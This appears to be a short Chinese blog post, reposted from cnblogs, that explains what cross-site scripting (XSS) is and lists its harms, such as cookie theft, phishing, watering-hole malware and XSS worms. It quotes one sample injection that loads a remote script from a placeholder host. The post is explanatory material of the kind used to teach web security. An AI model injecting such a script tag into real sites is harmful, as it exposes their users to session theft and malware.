标签：
XSS(cross site scripting)即跨站脚本。其实重点已经不在“跨站”这个字母上，而是“脚本”，脚本主要有两个：JavaScript和ActionScript。
XSS概述
XSS即跨站脚本，发生在目标网站中目标用户的浏览器层面上，当用户浏览器渲染整个HTML文档的过程中出现了不被预期的脚本指令并执行时，XSS就会发生。
这句话的关键点有以下三个：
目标网站中目标用户：这里强调了场景
浏览器：因为这类攻击是由浏览器来解析执行的。浏览器当然不会看到什么就解析什么，他们会严格执行共同约定的同源策略，不符合约定的就不会执行。
不被预期的：那么就可能是攻击者在输入时提交的可控的脚本内容，然后在输出后被浏览器解析执行。
"跨站脚本"重要的是脚本
1、从字面来分析的，因为这个“跨”实际上是浏览器的特性，而不是缺陷，造成“跨”这样的假象是因为绝大多数XSS攻击都会采用嵌入一段远程或者第三方域上的脚本资源，这样做是有原因的。
2、任何的安全问题都有“输入”的概念，很多时候输入的内容的长度是有限制的。
3、真正的XSS攻击不是弹出毫无意义的框。
4、一般注入的类似代码：<script src="http://xxx/x.js"></script>
5、这样的好处还有一个，攻击代码容易控制。
6.script标签可以嵌入第三方资源，这是浏览器允许的。
XSS没有危害，很少有人关注它。
前段攻击的XSS才是王道。在各类SNS，邮件系统，开源流行的web应用，BBS，微博等场景中，前段攻击被广泛实施与关注。
XSS危害：
挂马（水坑攻击）
盗取管理员cookies
Dos（拒绝服务）客户端浏览器
钓鱼攻击。
XSS Worm
详细参考资料和实际案例：
http://wiki.wooyun.org./web:xss
标签：
原文地址：http://www.cnblogs.com/Time-Cat00/p/5651150.html
